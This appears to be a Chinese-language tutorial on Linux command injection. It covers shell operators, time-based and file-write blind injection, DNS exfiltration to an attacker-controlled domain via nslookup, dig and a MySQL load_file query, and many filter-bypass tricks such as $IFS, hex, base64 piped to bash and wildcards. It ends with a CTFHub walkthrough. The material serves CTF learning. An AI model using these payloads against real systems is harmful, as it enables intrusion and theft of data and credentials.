命令注入入门
0x00 文章前言
隔了这么久才写这一篇,其实还是比较惭愧的。本篇文章会尽量写的成体系,但是重点在于绕过。
0x01 基础概念
命令注入,一般是Linux命令注入,本文也以Linux命令注入为主。
符号概念
| (管道符号)
用于将一个命令的输出作为另一个命令的输入
1 | comand1 | comand2 |
& (and符)
用于将多个命令组合在一起使它们可以同时执行而不需要等待前一个命令的完成
1 | command1 & command2 |
&& (逻辑与)
用于在命令行中执行多个命令并且只有前一个命令成功执行(返回退出码为0)时才会执行下一个命令
1 | command1 && command2 [&& command3 ...] |
||(逻辑或)
用于在命令行中执行多个命令并且只有前一个命令执行失败(返回退出码非零)时才会执行下一个命令
1 | command1 || command2 [|| command3 ...] |
;(分号)
用于分隔多个命令,使它们按顺序依次执行,无论前一个命令是否成功执行,分号后面的命令都会被执行
1 | command1 ; command2 [; command3 ...] |
``(反引号)与$()
用于执行命令并将命令的输出结果嵌入到另一个命令或上下文中
1 | command1 \`command2\` |
1 | command1 \$(command2) |
()和{}
括号()
- 命令分组:括号中的命令会作为一个独立的子进程在一个子shell 中执行
- 变量赋值:可以将括号中的命令的输出结果赋值给变量
1 | (command1; command2) |
将这两个命令放置在括号()中,它们会作为一个独立的子进程在一个子shell中执行
花括号{}
花括号中可以包含一个或多个值并以逗号分隔,在命令行中花括号会展开成多个值用于生成多个命令或参数的组合
exp1:
1 | echo {1..5} |
当执行命令时花括号会展开成多个值,即1 2 3 4 5并作为参数传递给echo命令
exp2:
1 | cp file{.txt,.bak} |
当执行命令时花括号会展开成两个值,即file.txt
和file.bak
并作为参数传递给cp命令。但是这两个文件必须存在,不然会报错。
文件描述
在Linux中文件描述符(File Descriptor)是用于标识和访问打开文件或输入/输出设备的整数值,每个打开的文件或设备都会被分配一个唯一的文件描述符,Linux 中的文件描述符使用非负整数值
了解下面三个:
- 标准输入(stdin):文件描述符为0,通常关联着终端键盘输入
- 标准输出(stdout):文件描述符为1,通常关联着终端屏幕输出
- 标准错误(stderr):文件描述符为2,通常关联着终端屏幕输出
另外,平时使用的”<”和”>”相当于使用”0<”和”1>”
常见示例:
1 | cmd > file 将输出重定向到file |
本文就不说正则了。
0x02 注入类型
根据有无回显可以分为常规注入和盲注。
常规注入
这里不细说,注意一下ping测试、Trace测试等功能或者与IP地址有关的参数。
盲注
盲注的结果不会回显,对此我们需要先判断盲注是否存在,再想办法得到盲注的结果。
时间延迟
可以通过时间延迟判断盲注是否存在,以及盲注。
payload:
1 | sleep $(cat /flag | cut -c1 | tr f 4) |
解释:
- 读取
/flag.txt
文件的内容。 - 提取每行的第一个字符。
- 将字符
f
替换为4
。 - 使用替换后的结果作为
sleep
命令的参数。
写个脚本,或者bp爆破都可以。原理上与SQL时间盲注一致。
数据写入
如果存在盲注,可以将数据写入到有写入和访问权限的文件,再访问这些文件即可得到数据。
上述方法的本质是将输出流重定向到可以访问的文件。
比如:
1 | Pax > /var/www/static/handsome.txt |
OOB之DNS
概述
简单介绍一OOB
(Out-of-Band
,带外通道技术):DNS
数据外带(DNS Exfiltration
)。
我们需要注册域名,配置DNS
解析服务器,以得到日志文件记录的所有DNS
查询请求。
日志会记录域名下的子域名信息。如果子域名设置成目标数据,那么数据就被成功带出来了。例如,如果目标系统发送了一个DNS
查询请求 data.mydomain.com
,攻击者可以从中提取出数据库的版本信息 data
。
以SQL
注入为例:
1 | ' UNION SELECT 1, load_file(concat('\\\\',@@version,'.attackerdomain.com\\')), 3 -- |
load_file
:MySQL中的一个函数,用于从服务器的文件系统加载数据。尽管这个函数通常用于读取文件,但在这里,我们利用它来触发外部通信。concat('\\\\',@@version,'.attackerdomain.com\\')
:@@version
是MySQL
的一个全局变量,包含数据库服务器的版本信息。concat
函数用于将字符串连接在一起。这里我们将数据库版本信息与攻击者控制的域名拼接在一起。\\\\
是转义字符,它在SQL
语句中表示一个反斜杠(\)。最终生成的字符串形式为\\version_number.attackerdomain.com\
。
数据库服务器在尝试处理这个路径时:\\version_number.attackerdomain.com\
,可能会发出DNS
查询 5.7.21.attackerdomain.com
,从而将数据库版本信息泄露给攻击者控制的DNS
服务器。
利用
命令注入一般在Linux环境,使用nslookup
或 dig
查询DNS
:
1 | slookup $(uname -a).attackerdomain.com |
1 | dig $(uname -a).attackerdomain.com |
还可以通过许多种方法实现DNS外带,不要局限于某种思路。
0x03 过滤绕过
过滤空格
${IFS}
在Linux中$IFS是一个环境变量,表示”Internal Field Separator”(内部字段分隔符),它用于指定命令行参数和输入流中字段(单词)之间的分隔符,默认情况下其值为包含空格、制表符和换行符的字符串
exp:
1 | cat${IFS}/flag |
重定向符绕过(<>)
exp:
1 | cat<>flag.txt |
%09(需要php环境)
php
环境下web
输入%09
等效于空格
1 | cat%09flag.txt |
十六进制
exp:
1 | X=$'cat\x20/etc/passwd'&&$X |
讲讲这段指令的语法:
第一个**$**:允许反斜杠后面跟着一个十六进制值来表示特殊字符或ASCII码,这种写法允许\x20
表示为空格。
第一个**$**:执行变量 x
中保存的命令 cat /etc/passwd
。
换行拼接
1 | # cat\ |
比较抽象
过滤斜杠
${HOME:0:1}
${HOME:0:1}
是一个 Bash 字符串切片的语法。
${HOME}
代表环境变量HOME
的值,通常是用户的主目录路径。:0:1
表示从字符串的第 0 个字符开始,提取 1 个字符。
exp(HOME
小写好像也可以):
1 | cat /etc/passwd ---->>> cat ${HOME:0:1}etc${HOME:0:1}passwd |
$(echo . | tr ‘!-0’ ‘“-1’)
直接拿来用:
1 | cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd |
长度检测
后端有时会检测和限制长度。
写入目录
真的麻烦
1 | # >cat\ |
命令换行
1 | # ca\ |
黑名单类
如果一些关键字被过滤了呢?
变量拼接
使用shell变量拼接指令
exp:
1 | a=c;b=at;c=fl;d=ag;e=.txt;$a$b $c$d$e |
base编码
1 | `echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d` |
或者
1 | echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash |
其他进制
十六进制:
1 | echo 'cat flag.txt' |xxd |
八进制:
1 | echo "cat flag.txt" | od -An -t o1 |
通配符类
通配符 | 指令 |
---|---|
? |
cat /f?ag.txt |
* |
cat /f* |
[] |
cat /fl[abcd]g.txt |
{} |
cat fl{a,b,c,d}g.txt |
特殊变量
一般利用$1
,$@
等值为空的变量与payload
拼接:
1 | cat /fl$1ag.txt |
反斜杠类
命令行解释器(如 Bash)通常不自动解析转义字符,除非在特定的上下文中(例如在某些编程语言中)
1 | ca\t fla\g.txt |
巧用引号
exp:
1 | ca""t fla""g.txt |
命令代替
多见多记
1 | cat 从第一行开始显示内容,并将所有内容输出 |
0x04 真题练习
CTFHub
技能树RCE->命令注入->综合过滤练习
过滤运算符、过滤目录分隔符、过滤反斜杠、过滤空格、过滤封号、过滤cat、过滤关键字flag和ctfhub
难点:分号**;**怎么替代?
答:%0a
(经过URL
编码的PHP
换行符)可以代替分号**;**
第一步:
1 | 1%0als |
发现目录flag_is_here
第二步:
1 | 1%0als${IFS}fl?g_is_here |
发现文件flag_230191972813921.php
第三步:
1 | 1%0acd${IFS}fl?g_is_here%0atac${IFS}fl?g_230191972813921.php |
成功得到Flag
。其实方法千千万,不要局限自己的思路。